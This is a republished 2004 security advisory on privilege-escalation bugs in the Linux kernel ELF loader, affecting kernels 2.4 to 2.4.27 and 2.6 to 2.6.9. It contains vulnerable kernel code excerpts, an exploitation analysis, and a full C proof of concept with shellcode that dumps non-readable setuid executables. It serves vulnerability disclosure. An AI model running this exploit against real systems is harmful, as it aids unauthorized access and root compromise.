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Linux Kernel binfmt_elf ELF Loader Privilege Escalation
------------------------------------------------------------------------
SUMMARY
Numerous bugs have been found in the Linux ELF binary loader while
handling setuid binaries. The vulnerabilities allow a malicious user the
ability to exploit SUID binaries in order to gain root privileges on the
system.
DETAILS
Vulnerable Systems:
* Linux kernel versions 2.4 up to 2.4.27, inclusive
* Linux kernel versions 2.6 up to 2.6.9, inclusive
On Unix like systems the execve(2) system call provides functionality to
replace the current process by a new one (usually found in binary form on
the disk), or in other words to execute a new program. Internally the
Linux kernel uses a binary format loader layer to implement the low level
format functionality of the execve() system call. The common execve code
contains just a few helper functions used to load the new binary and
leaves the format specific processing to a specialized binary format
loader.
One of the Linux format loaders is the ELF (Executable and Linkable
Format) loader. Nowadays ELF is the standard format for Linux binaries
besides the a.out binary format, which is deprecated. One of the functions
of a binary format loader is to properly handle setuid executables, that
is - executables with the setuid bit set on the file system image of the
executable. It allows execution of programs under a different user ID than
the user issuing the execve call.
Every ELF binary contains an ELF header defining the type and the layout
of the program in memory as well as additional sections (i.e: which
program interpreter to load, symbol table, etc). The ELF header normally
contains information about the entry point of the binary and the position
of the memory map header (phdr) in the binary image and the program
interpreter (normally the dynamic linker ld-linux.so). The memory map
header defines the memory mapping of the executable file that can be seen
later from /proc/self/maps.
Five different coding errors have been found in the linux/fs/binfmt_elf.c
file, all lines taken from the 2.4.27 kernel source files:
* Wrong return value check while filling kernel buffers (loop to scan the
binary header for an interpreter section):
static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs *
regs)
{
size = elf_ex.e_phnum * sizeof(struct elf_phdr);
elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
if (!elf_phdata)
goto out;
477: retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata,
size);
if (retval < 0)
goto out_free_ph;
The code presented above looks harmless enough. However, checking the
return value of kernel_read (which calls file->f_op->read) to be
non-negative is not sufficient since a read() can perfectly return less
than the requested buffer size bytes. The bug is present in lines 301, 523
and 545 as well.
* Incorrect error behavior, if the mmap() call fails (loop to mmap binary
sections into memory):
645: for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++,
elf_ppnt++) {
684: error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
elf_prot, elf_flags);
if (BAD_ADDR(error))
continue;
* Bad return value mishandling while mapping the program intrepreter into
memory:
301: retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char
*)elf_phdata,size);
error = retval;
if (retval < 0)
goto out_close;
eppnt = elf_phdata;
for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
map_addr = elf_map(interpreter, load_addr + vaddr, eppnt,
elf_prot, elf_type);
322: if (BAD_ADDR(map_addr))
goto out_close;
out_close:
kfree(elf_phdata);
out:
return error;
}
* The loaded interpreter section can contain an interpreter name string
without the terminating NULL:
508: for (i = 0; i < elf_ex.e_phnum; i++) {
518: elf_interpreter = (char *)
kmalloc(elf_ppnt->p_filesz,
GFP_KERNEL);
if (!elf_interpreter)
goto out_free_file;
retval = kernel_read(bprm->file,
elf_ppnt->p_offset,
elf_interpreter,
elf_ppnt->p_filesz);
if (retval < 0)
goto out_free_interp;
* A bug exists in the common execve() code in exec.c: A vulnerability in
open_exec() permits reading of non-readable ELF binaries, which can be
triggered by requesting the file in the ELF PT_INTERP section:
541: interpreter = open_exec(elf_interpreter);
retval = PTR_ERR(interpreter);
if (IS_ERR(interpreter))
goto out_free_interp;
retval = kernel_read(interpreter, 0, bprm->buf,
BINPRM_BUF_SIZE);
Analysis
* The Linux man pages state that a read(2) can return less than the
requested number of bytes, even zero. It is not clear how this can happen
while reading a disk file (in contrast to network sockets), however here
are some thoughts:
* Tricking read to fill the elf_phdata buffer with less than size bytes
would cause the remaining part of the buffer to contain some garbage data,
that is data from the previous kernel object which occupied that memory
area. Therefore we could arbitrarily modify the memory layout of the
binary supplying a suitable header information in the kernel buffer. This
should be sufficient to gain control over the flow of execution for most
of the setuid binaries around.
* On Linux a disk read goes through the page cache. That is, a disk
read can easily fail on a page boundary due to a low memory condition. In
this case read() will return less than the requested number of bytes but
still indicate success (return value > 0).
* Most of the standard setuid binaries on a 'normal' i386 Linux
installation have ELF headers stored below the 4096th byte, therefore they
are probably not exploitable on the i386 architecture.
* This bug can lead to an incorrectly mmaped binary image in the memory.
There are various reasons why a mmap() call can fail:
* A temporary low memory condition, so that the allocation of a new VMA
descriptor fails.
* Memory limit (RLIMIT_AS) excedeed, which can be easily manpipulated
before calling execve().
* File locks held for the binary file in question.
Security implications in the case of a setuid binary are quite obvious: We
may end up with a binary without the .text or .bss section or with those
sections shifted (in the case they are not 'fixed' sections). It is not
clear which standard binaries are exploitable however it is sufficient
that at some point we come over some instructions that jump
into the environment area due to malformed memory layout and gain full
control over the setuid application.
* This bug is similar to the previous one except the code incorrectly
returns the kernel_read status to the calling function on mmap failure
which will assume that the program interpreter has been loaded. That means
the kernel will start the execution of the binary file itself instead of
calling the program interpreter (linker) that has to finish the binary
loading from user space.
It has been found that standard Linux (i386, GCC 2.95) setuid binaries
contain code that will jump to the EIP=0 address and crash (since there is
no virtual memory mapped there), however this may vary from binary to
binary as well from architecture to architecture and may be easily
exploitable.
* This bug leads to internal kernel file system functions beeing called
with an argument string exceeding the maximum path size in length
(PATH_MAX). It is not clear if this condition is exploitable. A user may
try to execute such a malicious binary with an unterminated interpreter
name string and trick the kernel memory manager to return a memory chunk
for the elf_interpreter variable followed by a suitable long path name
(like ./././....). Experiments show that it can lead to a perceivable
system hang.
* This bug is similar to the shared file table race [1]. A proof of
concept code is listed at the end of this article that just core dumps the
non-readable but executable ELF file. A user may create a manipulated ELF
binary that requests a non-readable but executable file as program
interpreter and gain read access to the privileged binary. This works only
if the file is a valid ELF image file so it is not possible to read a data
file that has the execute bit set but the read bit cleared. A common usage
would be to read exec-only setuid binaries to gain offsets for further
exploitation.
Proof Of Concept
/*
*
* binfmt_elf executable file read vulnerability
*
* gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <linux/elf.h>
#define BADNAME "/tmp/_elf_dump"
void usage(char *s)
{
printf("\nUsage: %s executable\n\n", s);
exit(0);
}
// ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
// "1: jmp 1b \n"
" xorl %edi, %edi \n"
" movl %esp, %esi \n"
" xorl %edx, %edx \n"
" xorl %ebp, %ebp \n"
" call get_addr \n"
" movl %esi, %esp \n"
" movl %edi, %ebp \n"
" jmp inst_sig \n"
"get_addr: popl %ecx \n"
// sighand
"inst_sig: xorl %eax, %eax \n"
" movl $11, %ebx \n"
" movb $48, %al \n"
" int $0x80 \n"
"ld_page: movl %ebp, %eax \n"
" subl %edx, %eax \n"
" cmpl $0x1000, %eax \n"
" jle ld_page2 \n"
// mprotect
" pusha \n"
" movl %edx, %ebx \n"
" addl $0x1000, %ebx \n"
" movl %eax, %ecx \n"
" xorl %eax, %eax \n"
" movb $125, %al \n"
" movl $7, %edx \n"
" int $0x80 \n"
" popa \n"
"ld_page2: addl $0x1000, %edi \n"
" cmpl $0xc0000000, %edi \n"
" je dump \n"
" movl %ebp, %edx \n"
" movl (%edi), %eax \n"
" jmp ld_page \n"
"dump: xorl %eax, %eax \n"
" xorl %ecx, %ecx \n"
" movl $11, %ebx \n"
" movb $48, %al \n"
" int $0x80 \n"
" movl $0xdeadbeef, %eax \n"
" jmp *(%eax) \n"
);
}
static volatile void bad_code_end(void)
{
}
int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;
if(ac<2)
usage(av[0]);
// make bad a.out
fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
nl = strlen(av[1])+1;
memset(&eh, 0, sizeof(eh) );
// elf exec header
memcpy(eh.e_ident, ELFMAG, SELFMAG);
eh.e_type = ET_EXEC;
eh.e_machine = EM_386;
eh.e_phentsize = sizeof(struct elf_phdr);
eh.e_phnum = 2;
eh.e_phoff = sizeof(eh);
write(fd, &eh, sizeof(eh) );
// section header(s)
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_INTERP;
eph.p_offset = sizeof(eh) + 2*sizeof(eph);
eph.p_filesz = nl;
write(fd, &eph, sizeof(eph) );
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_LOAD;
eph.p_offset = 4096;
eph.p_filesz = 4096;
eph.p_vaddr = 0x0000;
eph.p_flags = PF_R|PF_X;
write(fd, &eph, sizeof(eph) );
// .interp
write(fd, av[1], nl );
// execable code
nl = &bad_code_end - &bad_code;
lseek(fd, 4096, SEEK_SET);
write(fd, &bad_code, 4096);
close(fd);
// dump the shit
rl.rlim_cur = RLIM_INFINITY;
rl.rlim_max = RLIM_INFINITY;
if( setrlimit(RLIMIT_CORE, &rl) )
perror("\nsetrlimit failed");
fflush(stdout);
pid = fork();
if(pid)
wait(NULL);
else
execl(BADNAME, BADNAME, NULL);
printf("\ncore dumped!\n\n");
unlink(BADNAME);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:ihaquer@isec.pl> Paul
Starzetz.
The original article can be found at:
<http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt>
http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
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